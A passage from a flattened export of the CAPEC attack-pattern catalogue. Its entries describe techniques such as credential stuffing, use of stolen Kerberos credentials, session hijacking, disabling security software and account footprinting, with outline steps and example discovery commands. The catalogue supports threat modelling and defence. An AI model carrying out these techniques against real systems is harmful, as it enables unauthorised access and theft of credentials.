High: Ability to generate and inject false data into operational data into a system with the intent of causing the victim to alter the configuration of the system. Stable High 3.9
176
Overread Buffers Standard An adversary attacks a target by providing input that causes an application to read beyond the boundary of a defined buffer. This typically occurs when a value influencing where to start or stop reading is set to reflect positions outside of the valid memory location of the buffer. This type of attack may result in exposure of sensitive information, a system crash, or arbitrary code execution. 2014-06-23 02:00:00 Capec: CAPEC-540
Cwe: CWE-125
2021-10-21 02:00:00 2.1 Availability:
  • Unreliable Execution (Depending on the use of the target buffer, an application or system crash can be achieved.)
Confidentiality:
  • Read Data (By reading outside the boundary of the intended buffer, the adversary is potentially able to see any data that is stored on the disk. This could include secret keys, personal information, and sensitive files.)
Software

Explore

  1. Identify target application: The adversary identifies a target application or program to perform the buffer overread on. Adversaries often look for applications that accept user input and that perform manual memory management.

Experiment

  1. Find attack vector: The adversary identifies an attack vector by looking for areas in the application where they can specify to read more data than is required.

Exploit

  1. Overread the buffer: The adversary provides input to the application that gets it to read past the bounds of a buffer, possibly revealing sensitive information that was not intended to be given to the adversary.
Low
  • For this type of attack to be successful, a few prerequisites must be met. First, the targeted software must be written in a language that enables fine grained buffer control. (e.g., c, c++) Second, the targeted software must actually perform buffer operations and inadequately perform bounds-checking on those buffer operations. Finally, the adversary must have the capability to influence the input that guides these buffer operations.
Draft High 3.9
123
Application Fingerprinting Standard An adversary engages in fingerprinting activities to determine the type or version of an application installed on a remote target. 2014-06-23 02:00:00 Capec: CAPEC-541
Cwe: CWE-204
Cwe: CWE-205
Cwe: CWE-208
Attack: T1592.002
2023-01-24 01:00:00 2.1 Software
None None
  • None
Draft Low 3.9
224
Targeted Malware Standard An adversary develops targeted malware that takes advantage of a known vulnerability in an organizational information technology environment. The malware crafted for these attacks is based specifically on information gathered about the technology environment. Successfully executing the malware enables an adversary to achieve a wide variety of negative technical impacts. 2014-06-23 02:00:00 Capec: CAPEC-542
Attack: T1587.001
Attack: T1027
2023-01-24 01:00:00 2.1 Software
None None Draft None 3.9
549
Pull Data from System Resources Standard An adversary who is authorized or has the ability to search known system resources, does so with the intention of gathering useful information. System resources include files, memory, and other aspects of the target system. In this pattern of attack, the adversary does not necessarily know what they are going to find when they start pulling data. This is different than CAPEC-150 where the adversary knows what they are looking for due to the common location. 2014-06-23 02:00:00 Capec: CAPEC-545
Cwe: CWE-1239
Cwe: CWE-1243
Cwe: CWE-1258
Cwe: CWE-1266
Cwe: CWE-1272
Cwe: CWE-1278
Cwe: CWE-1323
Cwe: CWE-1258
Cwe: CWE-1330
Attack: T1005
Attack: T1555.001
2023-01-24 01:00:00 2.1 Software
Hardware
None None Draft None 3.9
116
Physical Destruction of Device or Component Standard An adversary conducts a physical attack a device or component, destroying it such that it no longer functions as intended. 2014-06-23 02:00:00 Capec: CAPEC-547
2019-09-30 02:00:00 2.1 Physical Security
None None Draft None 3.9
607
Remote Services with Stolen Credentials Standard This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed. 2015-11-09 01:00:00 Capec: CAPEC-555
Cwe: CWE-522
Cwe: CWE-308
Cwe: CWE-309
Cwe: CWE-294
Cwe: CWE-263
Cwe: CWE-262
Cwe: CWE-521
Attack: T1021
Attack: T1114.002
Attack: T1133
2022-09-29 02:00:00 2.1 Software
  1. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS. Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials.
  2. Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). It may be called with the winrm command or by any number of programs such as PowerShell.
None None Stable Very High 3.9
560
DEPRECATED: Obtain Data via Utilities Standard This CAPEC has been deprecated because it is not directly related to a weakness, social engineering, supply chains, or a physical-based attack. 2015-11-09 01:00:00 Capec: CAPEC-567
2020-07-30 02:00:00 2.1 None None Deprecated None 3.9
Collect Data as Provided by Users Standard An attacker leverages a tool, device, or program to obtain specific information as provided by a user of the target system. This information is often needed by the attacker to launch a follow-on attack. This attack is different than Social Engineering as the adversary is not tricking or deceiving the user. Instead the adversary is putting a mechanism in place that captures the information that a user legitimately enters into a system. Deploying a keylogger, performing a UAC prompt, or wrapping the Windows default credential provider are all examples of such interactions. 2015-11-09 01:00:00 Capec: CAPEC-569
Attack: T1056
2021-06-24 02:00:00 2.1 Software
None None Draft None 3.9
568
116
Block Logging to Central Repository Standard An adversary prevents host-generated logs being delivered to a central location in an attempt to hide indicators of compromise. In the case of network based reporting of indicators, an adversary may block traffic associated with reporting to prevent central station analysis. This may be accomplished by many means such as stopping a local process to creating a host-based firewall rule to block traffic to a specific server. In the case of local based reporting of indicators, an adversary may block delivery of locally-generated log files themselves to the central repository. 2015-11-09 01:00:00 Capec: CAPEC-571
Attack: T1562.002
Attack: T1562.002
Attack: T1562.006
Attack: T1562.008
2022-09-29 02:00:00 2.1 Communications
Software
None None Draft Low 3.9
161
Artificially Inflate File Sizes Standard An adversary modifies file contents by adding data to files for several reasons. Many different attacks could “follow” this pattern resulting in numerous outcomes. Adding data to a file could also result in a Denial of Service condition for devices with limited storage capacity. 2015-11-09 01:00:00 Capec: CAPEC-572
Attack: T1027.001
2021-06-24 02:00:00 2.1 Integrity:
  • Modify Data
Availability:
  • Resource Consumption (Denial of Service)
Software
  1. An adversary could potentially increase file sizes on devices containing limited storage resources, such as SCADA or IOT devices, resulting in denial of service conditions.
None High Draft Medium 3.9
655
165
Process Footprinting Standard An adversary exploits functionality meant to identify information about the currently running processes on the target system to an authorized user. By knowing what processes are running on the target system, the adversary can learn about the target environment as a means towards further malicious behavior. 2015-11-09 01:00:00 Capec: CAPEC-573
Cwe: CWE-200
Attack: T1057
2020-07-30 02:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Other
  • Bypass Protection Mechanism
  • Hide Activities
Software
  1. On a Windows system, the command, "tasklist," displays information about processes. The same function on a Mac OS system is done with the command, "ps."
  2. In addition to manual discovery of running processes, an adversary can develop malware that carries out this attack pattern before subsequent malicious action.
None Low
  • The adversary must have gained access to the target system via physical or logical means in order to carry out this attack.
Stable Low 3.9
169
Services Footprinting Standard An adversary exploits functionality meant to identify information about the services on the target system to an authorized user. By knowing what services are registered on the target system, the adversary can learn about the target environment as a means towards further malicious behavior. Depending on the operating system, commands that can obtain services information include "sc" and "tasklist/svc" using Tasklist, and "net start" using Net. 2015-11-09 01:00:00 Capec: CAPEC-574
Cwe: CWE-200
Attack: T1007
2020-07-30 02:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Other
  • Bypass Protection Mechanism
  • Hide Activities
Software
None Low
  • The adversary must have gained access to the target system via physical or logical means in order to carry out this attack.
Stable Low 3.9
169
Account Footprinting Standard An adversary exploits functionality meant to identify information about the domain accounts and their permissions on the target system to an authorized user. By knowing what accounts are registered on the target system, the adversary can inform further and more targeted malicious behavior. Example Windows commands which can acquire this information are: "net user" and "dsquery". 2015-11-09 01:00:00 Capec: CAPEC-575
Cwe: CWE-200
Attack: T1087
2020-07-30 02:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Other
  • Bypass Protection Mechanism
  • Hide Activities
Software
None Low
  • The adversary must have gained access to the target system via physical or logical means in order to carry out this attack.
Stable Low 3.9
169
Group Permission Footprinting Standard An adversary exploits functionality meant to identify information about user groups and their permissions on the target system to an authorized user. By knowing what users/permissions are registered on the target system, the adversary can inform further and more targeted malicious behavior. An example Windows command which can list local groups is "net localgroup". 2015-11-09 01:00:00 Capec: CAPEC-576
Cwe: CWE-200
Attack: T1069
Attack: T1615
2022-09-29 02:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Other
  • Bypass Protection Mechanism
  • Hide Activities
Software
None Low
  • The adversary must have gained access to the target system via physical or logical means in order to carry out this attack.
Stable Low 3.9
169
Owner Footprinting Standard An adversary exploits functionality meant to identify information about the primary users on the target system to an authorized user. They may do this, for example, by reviewing logins or file modification times. By knowing what owners use the target system, the adversary can inform further and more targeted malicious behavior. An example Windows command that may accomplish this is "dir /A ntuser.dat". Which will display the last modified time of a user's ntuser.dat file when run within the root folder of a user. This time is synonymous with the last time that user was logged in. 2015-11-09 01:00:00 Capec: CAPEC-577
Cwe: CWE-200
Attack: T1033
2019-09-30 02:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Other
  • Bypass Protection Mechanism
  • Hide Activities
Software
None Low
  • The adversary must have gained access to the target system via physical or logical means in order to carry out this attack.
  • Administrator permissions are required to view the home folder of other users.
Draft Low 3.9
169
Disable Security Software Standard An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods. 2015-11-09 01:00:00 Capec: CAPEC-578
Cwe: CWE-284
Attack: T1556.006
Attack: T1562.001
Attack: T1562.002
Attack: T1562.004
Attack: T1562.007
Attack: T1562.008
Attack: T1562.009
2023-01-24 01:00:00 2.1 Availability:
  • Hide Activities (By disabling certain security tools, the adversary can hide malicious activity and avoid detection.)
Software
None Medium
  • The adversary must have the capability to interact with the configuration of the targeted system.
  • None: No specialized resources are required to execute this type of attack.
Usable Medium 3.9
176
System Footprinting Standard An adversary engages in active probing and exploration activities to determine security information about a remote target system. Often times adversaries will rely on remote applications that can be probed for system configurations. 2015-11-09 01:00:00 Capec: CAPEC-580
Cwe: CWE-204
Cwe: CWE-205
Cwe: CWE-208
Attack: T1082
2023-01-24 01:00:00 2.1 Confidentiality:
  • Read Data
Software
None Low
  • The adversary must have logical access to the target network and system.
Low: The adversary needs to know basic linux commands. Stable Low 3.9
169
Route Disabling Standard An adversary disables the network route between two targets. The goal is to completely sever the communications channel between two entities. This is often the result of a major error or the use of an "Internet kill switch" by those in control of critical infrastructure. This attack pattern differs from most other obstruction patterns by targeting the route itself, as opposed to the data passed over the route. 2017-02-14 01:00:00 Capec: CAPEC-582
2019-09-30 02:00:00 2.1 Availability:
  • Other (Disabling a network route denies the availability of a service.)
Social Engineering
Communications
Software
Hardware
None Low
  • The adversary requires knowledge of and access to network route.
Draft High 3.9
607
Session Hijacking Standard This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application. 2017-04-15 02:00:00 Capec: CAPEC-593
Cwe: CWE-287
Attack: T1185
Attack: T1550.001
Attack: T1563
Owasp Attacks: Session hijacking attack
Reference_from_capec: REF-603
2022-09-29 02:00:00 2.1 Integrity:
  • Gain Privileges (A successful attack can enable an adversary to gain unauthorized access to an application.)
Availability:
  • Gain Privileges (A successful attack can enable an adversary to gain unauthorized access to an application.)
Confidentiality:
  • Gain Privileges (A successful attack can enable an adversary to gain unauthorized access to an application.)
Software

Explore

  1. Discover Existing Session Token: Through varrying means, an adversary will discover and store an existing session token for some other authenticated user session.

Experiment

  1. Insert Found Session Token: The attacker attempts to insert a found session token into communication with the targeted application to confirm viability for exploitation.

Exploit

  1. Session Token Exploitation: The attacker leverages the captured session token to interact with the targeted application in a malicious fashion, impersonating the victim.
High
  • An application that leverages sessions to perform authentication.
  • The adversary must have the ability to communicate with the application over the network.
Low: Exploiting a poorly protected identity token is a well understood attack with many helpful resources available. Stable Very High 3.9
21
Connection Reset Standard In this attack pattern, an adversary injects a connection reset packet to one or both ends of a target's connection. The attacker is therefore able to have the target and/or the destination server sever the connection without having to directly filter the traffic between them. 2017-01-04 01:00:00 Capec: CAPEC-595
Cwe: CWE-940
2019-04-04 02:00:00 2.1 Communications
Software
None None
  • This attack requires the ability to monitor the target's network connection.
Draft None 3.9
596
594
Credential Stuffing Standard An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services. Attacks of this kind often target management services over commonly used ports such as SSH, FTP, Telnet, LDAP, Kerberos, MySQL, and more. Additional targets include Single Sign-On (SSO) or cloud-based applications/services that utilize federated authentication protocols, and externally facing applications. The primary goal of Credential Stuffing is to achieve lateral movement and gain authenticated access to additional systems, applications, and/or services. A successfully executed Credential Stuffing attack could result in the adversary impersonating the victim or executing any action that the victim is authorized to perform. Although not technically a brute force attack, Credential Stuffing attacks can function as such if an adversary possess multiple known passwords for the same user account. This may occur in the event where an adversary obtains user credentials from multiple sources or if the adversary obtains a user's password history for an account. Credential Stuffing attacks are similar to Password Spraying attacks (CAPEC-565) regarding their targets and their overall goals. However, Password Spraying attacks do not have any insight into known username/password combinations and instead leverage common or expected passwords. This also means that Password Spraying attacks must avoid inducing account lockouts, which is generally not a worry of Credential Stuffing attacks. Password Spraying attacks may additionally lead to Credential Stuffing attacks, once a successful username/password combination is discovered. 2020-07-30 02:00:00 Capec: CAPEC-600
Cwe: CWE-522
Cwe: CWE-307
Cwe: CWE-308
Cwe: CWE-309
Cwe: CWE-262
Cwe: CWE-263
Cwe: CWE-654
Attack: T1110.004
Owasp Attacks: Credential stuffing
Reference_from_capec: REF-567
Reference_from_capec: REF-568
Reference_from_capec: REF-569
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Read Data
Access Control:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Software
  1. A user leverages the password "Password123" for a handful of application logins. An adversary obtains a victim's username/password combination from a breach of a social media application and executes a Credential Stuffing attack against multiple banking and credit card applications. Since the user leverages the same credentials for their bank account login, the adversary successfully authenticates to the user's bank account and transfer money to an offshore account.
  2. In October 2014 J.P. Morgan's Corporate Challenge website was breached, resulting in adversaries obtaining multiple username/password pairs. A Credential Stuffing attack was then executed against J.P. Morgan Chase, which resulted in over 76 million households having their accounts compromised.

Explore

  1. Acquire known credentials: The adversary must obtain known credentials in order to access the target system, application, or service.
  2. Techniques
    An adversary purchases breached username/password combinations or leaked hashed passwords from the dark web.
    An adversary leverages a key logger or phishing attack to steal user credentials as they are provided.
    An adversary conducts a sniffing attack to steal credentials as they are transmitted.
    An adversary gains access to a database and exfiltrates password hashes.
    An adversary examines outward-facing configuration and properties files to discover hardcoded credentials.
  3. Determine target's password policy: Determine the password policies of the target system/application to determine if the known credentials fit within the specified criteria.
  4. Techniques
    Determine minimum and maximum allowed password lengths.
    Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc., or whether they are allowed to contain words from the dictionary).
    Determine account lockout policy (a strict account lockout policy will prevent brute force attacks if multiple passwords are known for a single user account).

Experiment

  1. Attempt authentication: Try each username/password combination until the target grants access.
  2. Techniques
    Manually or automatically enter each username/password combination through the target's interface.

Exploit

  1. Impersonate: An adversary can use successful experiments or authentications to impersonate an authorized user or system or to laterally move within a system or application
  2. Spoofing: Malicious data can be injected into the target system or into a victim user's system by an adversary. The adversary can also pose as a legitimate user to perform social engineering attacks.
  3. Data Exfiltration: The adversary can obtain sensitive data contained within the system or application.
High
  • The system/application uses one factor password based authentication, SSO, and/or cloud-based authentication.
  • The system/application does not have a sound password policy that is being enforced.
  • The system/application does not implement an effective password throttling mechanism.
  • The adversary possesses a list of known user accounts and corresponding passwords that may exist on the target.
  • A machine with sufficient resources for the job (e.g. CPU, RAM, HD).
  • A known list of username/password combinations.
  • A custom script that leverages the credential list to launch the attack.
Low: A Credential Stuffing attack is very straightforward. Stable High 3.9
560
Jamming Standard An adversary uses radio noise or signals in an attempt to disrupt communications. By intentionally overwhelming system resources with illegitimate traffic, service is denied to the legitimate traffic of authorized users. 2015-11-09 01:00:00 Capec: CAPEC-601
2019-09-30 02:00:00 2.1 Availability:
  • Other (The jamming of equipment denies the availability of functioning communications services.)
Communications
None Medium Draft High 3.9
607
Blockage Standard An adversary blocks the delivery of an important system resource causing the system to fail or stop working. 2015-11-09 01:00:00 Capec: CAPEC-603
2019-09-30 02:00:00 2.1 Availability:
  • Other (Blocking a resource from functional operation denies its availability to authorized users.)
Communications
Software
None Medium
  • This attack pattern requires knowledge of where important system resources are logically located as well as how they operate.
Draft High 3.9
607
Cellular Data Injection Standard Adversaries inject data into mobile technology traffic (data flows or signaling data) to disrupt communications or conduct additional surveillance operations. 2015-11-09 01:00:00 Capec: CAPEC-610
2019-09-30 02:00:00 2.1 Availability:
  • Resource Consumption (Attackers can disrupt or deny mobile technology communications and operations.)
  • Modify Data (Attackers can inject false data into data or signaling system data flows of communications and operations, or re-route data flows or signaling data for the purpose of further data intercept and capture.)
Communications
Software
None None
  • None
High: Often achieved by nation states in conjunction with commercial cellular providers to conduct cellular traffic intercept and possible traffic injection. Stable High 3.9
240
Establish Rogue Location Standard An adversary provides a malicious version of a resource at a location that is similar to the expected location of a legitimate resource. After establishing the rogue location, the adversary waits for a victim to visit the location and access the malicious resource. 2015-11-09 01:00:00 Capec: CAPEC-616
Cwe: CWE-200
Attack: T1036.005
2022-09-29 02:00:00 2.1 Integrity:
  • Other (Successful attacks of this nature can result in a wide variety of consequences and negatively impact confidentiality and integrity based on the adversary's subsequent actions.)
Confidentiality:
  • Other (Successful attacks of this nature can result in a wide variety of consequences and negatively impact confidentiality and integrity based on the adversary's subsequent actions.)
Social Engineering
Supply Chain
Communications
Software
Hardware
None Medium
  • A resource is expected to available to the user.
Low: Adversaries can often purchase low-cost technology to implement rogue access points. Stable Medium 3.9
154
Drop Encryption Level Standard An attacker forces the encryption level to be lowered, thus enabling a successful attack against the encrypted data. 2015-11-09 01:00:00 Capec: CAPEC-620
Cwe: CWE-757
Attack: T1600
2022-09-29 02:00:00 2.1 Access Control:
  • Bypass Protection Mechanism
Software
None None Draft High 3.9
606
212
Mobile Device Fault Injection Standard Fault injection attacks against mobile devices use disruptive signals or events (e.g. electromagnetic pulses, laser pulses, clock glitches, etc.) to cause faulty behavior. When performed in a controlled manner on devices performing cryptographic operations, this faulty behavior can be exploited to derive secret key information. Although this attack usually requires physical control of the mobile device, it is non-destructive, and the device can be used after the attack without any indication that secret keys were compromised. 2015-11-09 01:00:00 Capec: CAPEC-625
Cwe: CWE-1247
Cwe: CWE-1248
Cwe: CWE-1256
Cwe: CWE-1319
Cwe: CWE-1332
Cwe: CWE-1334
Cwe: CWE-1338
Cwe: CWE-1351
2023-01-24 01:00:00 2.1 Access Control:
  • Read Data (Extract long-term secret keys (e.g. keys used for VPN or WiFi authentication and encryption) to enable decryption of intercepted VOIP traffic.)
Confidentiality:
  • Read Data (Extract long-term secret keys (e.g. keys used for VPN or WiFi authentication and encryption) to enable decryption of intercepted VOIP traffic.)
Communications
Hardware
None None High: Adversaries require non-trivial technical skills to create and implement fault injection attacks on mobile devices. Although this style of attack has become easier (commercial equipment and training classes are available to perform these attacks), they usual require significant setup and experimentation time during which physical access to the device is required. This prerequisite makes the attack challenging to perform (assuming that physical security countermeasures and monitoring are in place). Draft None 3.9
624
Counterfeit GPS Signals Standard An adversary attempts to deceive a GPS receiver by broadcasting counterfeit GPS signals, structured to resemble a set of normal GPS signals. These spoofed signals may be structured in such a way as to cause the receiver to estimate its position to be somewhere other than where it actually is, or to be located where it is but at a different time, as determined by the adversary. 2015-11-09 01:00:00 Capec: CAPEC-627
2019-04-04 02:00:00 2.1 Integrity:
  • Modify Data
Communications
Hardware
None Low
  • The target must be relying on valid GPS signal to perform critical operations.
  • Ability to create spoofed GPS signals.
High: The ability to spoof GPS signals is not trival. Draft High 3.9
628
148
DEPRECATED: Unauthorized Use of Device Resources Standard This attack pattern has been deprecated. 2015-11-09 01:00:00 Capec: CAPEC-629
2022-09-29 02:00:00 2.1 None None Deprecated None 3.9
Alternative Execution Due to Deceptive Filenames Standard The extension of a file name is often used in various contexts to determine the application that is used to open and use it. If an attacker can cause an alternative application to be used, it may be able to execute malicious code, cause a denial of service or expose sensitive information. 2018-05-31 02:00:00 Capec: CAPEC-635
Cwe: CWE-162
Attack: T1036.007
2022-09-29 02:00:00 2.1 Software
None None
  • The use of the file must be controlled by the file extension.
Draft High 3.9
165
Hiding Malicious Data or Code within Files Standard Files on various operating systems can have a complex format which allows for the storage of other data, in addition to its contents. Often this is metadata about the file, such as a cached thumbnail for an image file. Unless utilities are invoked in a particular way, this data is not visible during the normal use of the file. It is possible for an attacker to store malicious data or code using these facilities, which would be difficult to discover. 2018-05-31 02:00:00 Capec: CAPEC-636
Cwe: CWE-506
Attack: T1001.002
Attack: T1027.003
Attack: T1027.004
Attack: T1218.001
Attack: T1221
Reference_from_capec: REF-493
2023-01-24 01:00:00 2.1 Software
None None
  • The operating system must support a file system that allows for alternate data storage for a file.
Draft High 3.9
165
Peripheral Footprinting Standard Adversaries may attempt to obtain information about attached peripheral devices and components connected to a computer system. Examples may include discovering the presence of iOS devices by searching for backups, analyzing the Windows registry to determine what USB devices have been connected, or infecting a victim system with malware to report when a USB device has been connected. This may allow the adversary to gain additional insight about the system or network environment, which may be useful in constructing further attacks. 2018-07-31 02:00:00 Capec: CAPEC-646
Cwe: CWE-200
Attack: T1120
2020-07-30 02:00:00 2.1 Software
None Low
  • The adversary needs either physical or remote access to the victim system.
Medium: If analyzing the Windows registry, the adversary must understand the registry structure to know where to look for devices. Stable Medium 3.9
169
Eavesdropping Standard An adversary intercepts a form of communication (e.g. text, audio, video) by way of software (e.g., microphone and audio recording application), hardware (e.g., recording equipment), or physical means (e.g., physical proximity). The goal of eavesdropping is typically to gain unauthorized access to sensitive information about the target for financial, personal, political, or other gains. Eavesdropping is different from a sniffing attack as it does not take place on a network-based communication channel (e.g., IP traffic). Instead, it entails listening in on the raw audio source of a conversation between two or more parties. 2014-06-23 02:00:00 Capec: CAPEC-651
Cwe: CWE-200
Attack: T1111
2022-09-29 02:00:00 2.1 Confidentiality:
  • Other (The adversary gains unauthorized access to information.)
Communications
Software
Physical Security
None None
  • The adversary typically requires physical proximity to the target's environment, whether for physical eavesdropping or for placing recording equipment. This is not always the case for software-based eavesdropping, if the adversary has the capability to install malware on the target system that can activate a microphone and record audio digitally.
  • For logical eavesdropping, some equipment may be necessary (e.g., microphone, tape recorder, etc.). For physical eavesdropping, only proximity is required.
Draft Medium 3.9
117
Use of Known Kerberos Credentials Standard An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain. Kerberos is the default authentication method for Windows domains and is also used across many operating systems. Attacks leveraging trusted Kerberos credentials can result in numerous consequences, depending on what Kerberos credential is stolen. For example, Kerberos service accounts are typically used to run services or scheduled tasks pertaining to authentication. However, these credentials are often weak and never expire, in addition to possessing local or domain administrator privileges. If an adversary is able to acquire these credentials, it could result in lateral movement within the domain or access to any resources the service account is privileged to access, among other things. Ultimately, successful spoofing and impersonation of trusted Kerberos credentials can lead to an adversary breaking authentication, authorization, and audit controls with the target system or application. 2020-07-30 02:00:00 Capec: CAPEC-652
Cwe: CWE-522
Cwe: CWE-307
Cwe: CWE-308
Cwe: CWE-309
Cwe: CWE-262
Cwe: CWE-263
Cwe: CWE-654
Cwe: CWE-294
Cwe: CWE-836
Attack: T1558
Reference_from_capec: REF-584
Reference_from_capec: REF-585
Reference_from_capec: REF-586
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Read Data
Access Control:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Software
  1. Bronze Butler (also known as Tick), has been shown to leverage forged Kerberos Ticket Granting Tickets (TGTs) and Ticket Granting Service (TGS) tickets to maintain administrative access on a number of systems. [REF-584]
  2. PowerSploit's Invoke-Kerberoast module can be leveraged to request Ticket Granting Service (TGS) tickets and return crackable ticket hashes. [REF-585] [REF-586]

Explore

  1. Acquire known Kerberos credentials: The adversary must obtain known Kerberos credentials in order to access the target system, application, or service within the domain.
  2. Techniques
    An adversary purchases breached Kerberos service account username/password combinations or leaked hashed passwords from the dark web.
    An adversary guesses the credentials to a weak Kerberos service account.
    An adversary conducts a sniffing attack to steal Kerberos tickets as they are transmitted.
    An adversary conducts a Kerberoasting attack.

Experiment

  1. Attempt Kerberos authentication: Try each Kerberos credential against various resources within the domain until the target grants access.
  2. Techniques
    Manually or automatically enter each Kerberos service account credential through the target's interface.
    Attempt a Pass the Ticket attack.

Exploit

  1. Impersonate: An adversary can use successful experiments or authentications to impersonate an authorized user or system, or to laterally move within the domain
  2. Spoofing: Malicious data can be injected into the target system or into other systems on the domain. The adversary can also pose as a legitimate domain user to perform social engineering attacks.
  3. Data Exfiltration: The adversary can obtain sensitive data contained within domain systems or applications.
Medium
  • The system/application leverages Kerberos authentication.
  • The system/application uses one factor password-based authentication, SSO, and/or cloud-based authentication for Kerberos service accounts.
  • The system/application does not have a sound password policy that is being enforced for Kerberos service accounts.
  • The system/application does not implement an effective password throttling mechanism for authenticating to Kerberos service accounts.
  • The targeted network allows for network sniffing attacks to succeed.
  • A valid Kerberos ticket or a known Kerberos service account credential.
Low: Once an adversary obtains a known Kerberos credential, leveraging it is trivial. Draft High 3.9
560
Use of Known Operating System Credentials Standard An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System. This attack can be extremely harmful when the operating system credentials used are for a root or admin user. Once an adversary gains access using credentials with elevated privileges, they are free to alter important system files which can effect other users who may use the system or other users on the system's network. 2020-07-30 02:00:00 Capec: CAPEC-653
Cwe: CWE-522
Cwe: CWE-307
Cwe: CWE-308
Cwe: CWE-309
Cwe: CWE-262
Cwe: CWE-263
Cwe: CWE-654
Reference_from_capec: REF-575
Reference_from_capec: REF-576
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Read Data
Access Control:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Software
  1. Adversaries exploited the Zoom video conferencing application during the 2020 COVID-19 pandemic to exfiltrate Windows domain credentials from a target system. The attack entailed sending Universal Naming Convention (UNC) paths within the Zoom chat window of an unprotected Zoom call. If the victim clicked on the link, their Windows usernames and the corresponding Net-NTLM-v2 hashes were sent to the address contained in the link. The adversary was then able to infiltrate and laterally move within the Windows domain by passing the acquired credentials to shared network resources. This further provided adversaries with access to Outlook servers and network storage devices. [REF-575]
  2. Mimikatz, a post-exploitation Windows credential harvester, can be used to gather and exploit Windows credentials. This malware has been used in several known cyberattacks, such as the Petya Ransomeware attacks. [REF-576]

Explore

  1. Acquire known operating system credentials: The adversary must obtain known operating system credentials in order to access the target system, application, or service within the domain.
  2. Techniques
    An adversary purchases breached operating system username/password combinations or leaked hashed passwords from the dark web.
    An adversary leverages a key logger or phishing attack to steal user credentials as they are provided.
    An adversary conducts a sniffing attack to steal operating system credentials as they are transmitted.
    An adversary gains access to a system/files and exfiltrates password hashes.
    An adversary examines outward-facing configuration and properties files to discover hardcoded credentials.

Experiment

  1. Attempt authentication: Try each operating system credential against various systems, applications, and services within the domain until the target grants access.
  2. Techniques
    Manually or automatically enter each credential through the target's interface.

Exploit

  1. Impersonate: An adversary can use successful experiments or authentications to impersonate an authorized user or system, or to laterally move within the network
  2. Spoofing: Malicious data can be injected into the target system or into other systems on the network. The adversary can also pose as a legitimate user to perform social engineering attacks.
  3. Data Exfiltration: The adversary can obtain sensitive data contained within system files or application configuration.
High
  • The system/application uses one factor password-based authentication, SSO, and/or cloud-based authentication.
  • The system/application does not have a sound password policy that is being enforced.
  • The system/application does not implement an effective password throttling mechanism.
  • The adversary possesses a list of known user accounts and corresponding passwords that may exist on the target.
  • A list of known credentials for the targeted domain.
  • A custom script that leverages a credential list to launch an attack.
Low: Once an adversary obtains a known credential, leveraging it is trivial. Draft High 3.9
560
Adversary in the Browser (AiTB) Standard An adversary exploits security vulnerabilities or inherent functionalities of a web browser, in order to manipulate traffic between two endpoints. This attack first requires the adversary to trick the victim into installing a Trojan Horse application on their system, such as a malicious web browser plugin, which the adversary then leverages to mount the attack. The victim interacts with a web application, such as a banking website, in a normal manner and under the assumption that the connection is secure. However, the adversary can now alter and/or reroute traffic between the client application (e.g., web browser) and the coinciding endpoint, while simultaneously displaying intended transactions and data back to the user. The adversary may also be able to glean cookies, HTTP sessions, and SSL client certificates, which can be used to pivot into an authenticated intranet. Identifying AITB is often difficult because these attacks are successful even when security mechanisms such as SSL/PKI and multifactor authentication are present, since they still function as intended during the attack. 2021-06-24 02:00:00 Capec: CAPEC-662
Cwe: CWE-300
Cwe: CWE-494
Attack: T1185
Owasp Attacks: Man-in-the-browser attack
Reference_from_capec: REF-629
Reference_from_capec: REF-630
Reference_from_capec: REF-631
Reference_from_capec: REF-632
2022-09-29 02:00:00 2.1
  • Man in the Browser
  • Boy in the Browser
  • Man in the Mobile
Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Communications
Software
